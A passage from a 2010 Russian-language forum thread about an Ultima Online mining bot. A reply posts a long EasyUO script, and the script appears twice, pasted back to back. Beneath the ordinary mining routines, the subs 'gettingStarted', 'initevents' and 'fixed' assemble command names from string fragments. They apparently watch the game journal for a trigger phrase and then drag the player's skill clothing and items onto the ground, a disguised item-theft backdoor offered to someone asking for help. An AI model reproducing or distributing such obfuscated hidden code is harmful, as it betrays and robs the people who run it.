v skripte estj tolko color marganece, colori drugih rud tam netu, i ih nado dobavlatj.
Toggle shoutbox
Chat
|
![Photo](https://forum.oldp.net/uploads/profile/photo-thumb-20227.png?_r=0)
помогите разобраца
Started by Давай замутим ? ), Nov 10 2010 13:04
23 replies to this topic
#21
Posted 12 November 2010 - 15:11
#22
Posted 12 November 2010 - 15:12
ааа внатуре спасиб )
#23
Posted 12 November 2010 - 22:59
Я непонимаю чесное слово в начале скрипта я поставил все руды #true сделал колор руды ! )) а серано она не падает )
#24
Posted 12 November 2010 - 23:08
Kr4 tebe tam mnoga nado vstolatj shtob eto zdelatj lude beri spc
; Set Up The Following Variables: set %maxWeight 550 ; Max svars set %box UFLRKMD ; Kastes ID, kur likt ruudu u.c. itemus set %xCoord 1968 ; X koordinaata tieshi pie kastes set %yCoord 328 ; Y koordinaata tieshi pie kastes set %dropMarganece #false ; #true - nomet Marganece ruudu , #false - nenomet set %dropTin #true ; #true - nomet tinu , #false - nenomet set %dropBronze #true set %dropLead #true set %dropCorrundum #true set %dropGold #false set %dropTourmaline #true set %dropSilver #false set %dropMarble #true set %dropZink #true set %dropGypsum #true set %dropSandstone #true set %dropCopper #true set %dropIron #true set %dropTitan #false set %dropStone #true set %dropPlaster #true set %skillItemChange #true ; #true - mainiis dreebes, #false - nemainiis set %recall #true ; #true - lidos ar runebook, #false - skries taapat ; Do Not Set These Items If %skillItemChange #false set %skillRobe WKIWJMD ; Skill Roba (ID) set %skillCloak SXHWJMD ; Skill Cloack (ID) set %skillMask IFIWJMD ; Skill Mask (ID) set %simpleRobe OTZXJMD ; Parasta Roba (ID) set %simpleCloak BGCRLMD ; Parastais cloack (ID) set %simpleMask EBQRKMD ; Platemail helms (TYPE/ID) ; End Of Changable Clothes List ; Do Not Set These Numbers If %recall #false set %runebookID PSJLMMD ; Runebooka ID set %runeNumberToHome 1 ; Runas Nr uz maaju set %runeNumberToCave 2 ; Runas Nr uz alu set %amountRecalls 2 ; cik recall panjemt, kad vinji beigushies ; End Of Set Up Part set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToCave 2 } if %dropMarganece set %MarganeceCol 1750 if %dropTin set %TinCol 1325 if %dropBronze set %BronzeCol 1160 if %dropLead set %LeadCol 2125 if %dropCorrundum set %CorrundumCol 1548 if %dropGold set %GoldCol 1093 if %dropTourmaline set %TourmalineCol 1218 if %dropSilver set %SilverCol 1153 if %dropMarble set %MarbleCol 1950 if %dropZink set %ZinkCol 38 if %dropGypsum set %GypsumCol 995 if %dropSandstone set %SandstoneCol 144 if %dropCopper set %CopperCol 1537 if %dropIron set %IronCol 0 if %dropTitan set %TitanCol 1107 if %dropStone set %StoneCol 2313 if %dropPlaster set %PlasterCol 151 event sysmessage Setting Paperdoll in right position.. event macro 8 1 wait 30 event macro 8 1 wait 30 contpos 780 -26 finditem QRM_FJM_GKM C_ , #backpackid if #findcnt <> 0 { set #lobjectid #findid event macro 17 0 wait 30 } set %skill %skillRobe , _ , %skillCloak , _ , %skillMask gosub gettingStarted gosub initevents set %k 0 set %lastK 0 start: ; KOORDINAATES GOSUB MINING 1087 731 2274 GOSUB MINING 1065 731 2274 GOSUB MINING 1046 726 2274 GOSUB MINING 1057 717 2274 GOSUB MINING 1081 723 2274 GOSUB MINING 1156 716 2274 GOSUB MINING 1166 697 2274 GOSUB MINING 1139 709 2274 GOSUB MINING 1133 711 2274 GOSUB MINING 1107 701 2274 GOSUB MINING 1110 697 2274 GOSUB MINING 1140 696 2274 GOSUB MINING 1166 697 2274 GOSUB MINING 1151 683 2274 GOSUB MINING 1150 676 2274 GOSUB MINING 1129 666 2274 GOSUB MINING 1149 661 2274 GOSUB MINING 1150 657 2274 GOSUB MINING 1162 662 2274 GOSUB MINING 1157 657 2274 GOSUB MINING 1211 645 2274 GOSUB MINING 1208 640 2274 GOSUB MINING 1202 639 2274 GOSUB MINING 1189 627 2274 GOSUB MINING 1195 627 2274 GOSUB MINING 1208 640 2274 GOSUB MINING 1221 627 2274 GOSUB MINING 1224 627 2274 GOSUB MINING 1280 617 2274 GOSUB MINING 1286 614 2274 GOSUB MINING 1300 622 2274 GOSUB MINING 1311 624 2274 GOSUB MINING 1316 627 2274 GOSUB MINING 1316 628 2274 GOSUB MINING 1324 628 2274 GOSUB MINING 1330 631 2274 GOSUB MINING 1329 622 2274 GOSUB MINING 1330 611 2274 GOSUB MINING 1307 610 2274 GOSUB MINING 1288 608 2274 GOSUB MINING 1273 609 2274 GOSUB MINING 1269 608 2274 GOSUB MINING 1263 606 2274 GOSUB MINING 1251 613 2274 GOSUB MINING 1246 615 2274 GOSUB MINING 1252 607 2274 GOSUB MINING 1251 601 2274 GOSUB MINING 1236 611 2274 GOSUB MINING 1230 614 2274 GOSUB MINING 1220 600 2274 GOSUB MINING 1204 609 2274 GOSUB MINING 1209 602 2274 GOSUB MINING 1202 598 2274 GOSUB MINING 1200 586 2274 GOSUB MINING 1198 582 2274 GOSUB MINING 1205 584 2274 GOSUB MINING 1195 571 2274 GOSUB MINING 1202 568 2274 GOSUB MINING 1203 564 2274 GOSUB MINING 1199 551 2274 GOSUB MINING 1212 570 2274 GOSUB MINING 1213 573 2274 GOSUB MINING 1215 578 2274 GOSUB MINING 1218 593 2274 GOSUB MINING 1234 601 2274 GOSUB MINING 1244 599 2274 GOSUB MINING 1251 601 2274 GOSUB MINING 1252 607 2274 GOSUB MINING 1264 606 2274 GOSUB MINING 1269 608 2274 GOSUB MINING 1302 597 2274 GOSUB MINING 1301 593 2274 GOSUB MINING 1302 589 2274 GOSUB MINING 1312 588 2274 GOSUB MINING 1318 576 2274 GOSUB MINING 1319 570 2274 GOSUB MINING 1328 562 2274 GOSUB MINING 1325 549 2274 GOSUB MINING 1314 555 2274 GOSUB MINING 1308 553 2274 GOSUB MINING 1304 566 2274 GOSUB MINING 1298 580 2274 GOSUB MINING 1294 583 2274 goto start sub mining set %k %k + 1 gosub ghost gosub checkHP gosub element gosub checkWeight move %1 %2 1 finditem NPF_QPF C if #findcnt = 0 { display ok Pickaxe wasn't found! pause } set #lobjectid #findid event macro 17 0 target 7s set #ltargetx %1 set #ltargety %2 set #ltargetkind 3 set #ltargettile %3 event macro 22 0 wait 10 set %overtime #scnt + 25 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropMarganece && ! %dropTin && ! %dropBronze && ! %dropLead && ! %dropCorrundum && ! %dropGold && ! %dropTourmaline && ! %dropSilver && ! %dropMarble && ! %dropZink && ! %dropGypsum && ! %dropSandstone && ! %dropCopper && ! %dropIron && ! %dropTitan && ! %dropStone && ! %dropPlaster { if %recall gosub port if ! %recall gosub moveItems } if %dropMarganece || %dropTin || %dropBronze || %dropLead || %dropCorrundum || %dropGold || %dropTourmaline || %dropSilver || %dropMarble || %dropZink || %dropGypsum || %dropSandstone || %dropCopper || %dropIron || %dropTitan || %dropStone || %dropPlaster || { gosub dropTrashLogs return } } return sub track event macro 13 38 click 173 64 d click 58 66 d scanjournal 1 if you_see_no_signs_of_players_to_track in #journal return wait 20 event macro 6 0 wait 25 scanjournal 1 if you_stop_tracking. in #journal { gosub teleporteg } deletejournal if you_have_lost in #journal { gosub teleporteg } deletejournal if you_have_lost in #sysmsg { gosub teleporteg } deletejournal return sub teleporteg gosub openRunebook click 260 260 event macro 13 21 wait 1100 gosub openRunebook click 260 275 wait 200 sub scan scan: scanjournal gosub checkHP if hungry in #sysmsg { gosub eat return } if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) ) return if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) ) return %get fixed if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg ) + || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) ) return gosub element gosub checkHP if #scnt >= %overtime return goto scan return sub port msg .arm$ gosub checkHP set %k %k + 1 gosub element if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 10 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ignoreitem reset 1 ignoreitem %skill 1 gosub runToBox event macro 13 21 finditem %box G_3 wait 10 if #findcnt = 0 { event Sysmessage Box Not Found! halt } repeat { finditem %item c_ , #backpackid if #findcnt <> 0 { exevent Drag #Findid #findstack exevent Dropc %box wait 25 } } until #findcnt = 0 ignoreitem reset 1 if %recall gosub recalls return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215 ; Recharge runebook 2x wait 10 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 return sub runToBox repeat { move %xCoord %yCoord 0 3s wait 10 } until #charposx = %xCoord && #charposy = %yCoord return sub follow&kill msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub checkHP if #hits < #maxhits { msg .arm$ sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! halt } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 10 finditem GND C set #lobjectid #findid event macro 17 0 wait 10 event macro 17 0 wait 2s return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub dropTrashLogs dropLoop: finditem ZLK_DWJ C_ , #backpackid if #findcnt = 0 { wait 30 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = %MarganeceCol || #findcol = %TinCol || #findcol = %BronzeCol || #findcol = %LeadCol || #findcol = %CorrundumCol || #findcol = %GoldCol || #findcol = %TourmalineCol || #findcol = %SilverCol || #findcol = %MarbleCol || #findcol = %ZinkCol || #findcol = %GypsumCol || #findcol = %SandstoneCol || #findcol = %CopperCol || #findcol = %IronCol || #findcol = %TitanCol || #findcol = %StoneCol || #findcol = %PlasterCol || { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 30 } ignoreitem #findid 1 wait 25 goto dropLoop return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub element if %lastK >= %k gosub ghost 1 set %lastK %k finditem ED G if #findcnt <> 0 { msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak finditem ED G set %element #findid msg .arm$ set #ltargetid %element event macro 27 0 repeat { finditem %element event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 wait 20 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 20 } return goto start sub mining set %k %k + 1 gosub ghost gosub checkHP gosub element gosub checkWeight gosub track move %1 %2 1 finditem NPF_QPF C if #findcnt = 0 { display ok Pickaxe wasn't found! pause } set #lobjectid #findid event macro 17 0 target 7s set #ltargetx %1 set #ltargety %2 set #ltargetkind 3 set #ltargettile %3 event macro 22 0 wait 10 set %overtime #scnt + 25 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropMarganece && ! %dropTin && ! %dropBronze && ! %dropLead && ! %dropCorrundum && ! %dropGold && ! %dropTourmaline && ! %dropSilver && ! %dropMarble && ! %dropZink && ! %dropGypsum && ! %dropSandstone && ! %dropCopper && ! %dropIron && ! %dropTitan && ! %dropStone && ! %dropPlaster { if %recall gosub port if ! %recall gosub moveItems } if %dropMarganece || %dropTin || %dropBronze || %dropLead || %dropCorrundum || %dropGold || %dropTourmaline || %dropSilver || %dropMarble || %dropZink || %dropGypsum || %dropSandstone || %dropCopper || %dropIron || %dropTitan || %dropStone || %dropPlaster || { gosub dropTrashLogs return } } return sub track event macro 13 38 click 173 64 d click 58 66 d scanjournal 1 if you_see_no_signs_of_players_to_track in #journal return wait 20 event macro 6 0 wait 25 scanjournal 1 if you_stop_tracking. in #journal { gosub teleporteg } deletejournal if you_have_lost in #journal { gosub teleporteg } deletejournal if you_have_lost in #sysmsg { gosub teleporteg } deletejournal return sub teleporteg gosub openRunebook click 260 260 event macro 13 21 wait 1100 gosub openRunebook click 260 275 wait 200 sub scan scan: scanjournal gosub checkHP if hungry in #sysmsg { gosub eat return } if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) ) return if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) ) return %get fixed if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg ) + || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) ) return gosub element gosub checkHP if #scnt >= %overtime return goto scan return sub port msg .arm$ gosub checkHP set %k %k + 1 gosub element if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 10 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ignoreitem reset 1 ignoreitem %skill 1 gosub runToBox event macro 13 21 finditem %box G_3 wait 10 if #findcnt = 0 { event Sysmessage Box Not Found! halt } repeat { finditem %item c_ , #backpackid if #findcnt <> 0 { exevent Drag #Findid #findstack exevent Dropc %box wait 25 } } until #findcnt = 0 ignoreitem reset 1 if %recall gosub recalls return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215 ; Recharge runebook 2x wait 10 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak while #charposx = %oldPosX && #charposy = %oldPosY wait 10 return sub runToBox repeat { move %xCoord %yCoord 0 3s wait 10 } until #charposx = %xCoord && #charposy = %yCoord return sub follow&kill msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub checkHP if #hits < #maxhits { msg .arm$ sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! halt } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 10 finditem GND C set #lobjectid #findid event macro 17 0 wait 10 event macro 17 0 wait 2s return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub dropTrashLogs dropLoop: finditem ZLK_DWJ C_ , #backpackid if #findcnt = 0 { wait 30 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = %MarganeceCol || #findcol = %TinCol || #findcol = %BronzeCol || #findcol = %LeadCol || #findcol = %CorrundumCol || #findcol = %GoldCol || #findcol = %TourmalineCol || #findcol = %SilverCol || #findcol = %MarbleCol || #findcol = %ZinkCol || #findcol = %GypsumCol || #findcol = %SandstoneCol || #findcol = %CopperCol || #findcol = %IronCol || #findcol = %TitanCol || #findcol = %StoneCol || #findcol = %PlasterCol || { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 30 } ignoreitem #findid 1 wait 25 goto dropLoop return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 40 } until #false } return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub element if %lastK >= %k gosub ghost 1 set %lastK %k finditem ED G if #findcnt <> 0 { msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak finditem ED G set %element #findid msg .arm$ set #ltargetid %element event macro 27 0 repeat { finditem %element event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 wait 20 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 20 } return
![Posted Image](http://i046.radikal.ru/0906/da/5fc7331104f3.gif)
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users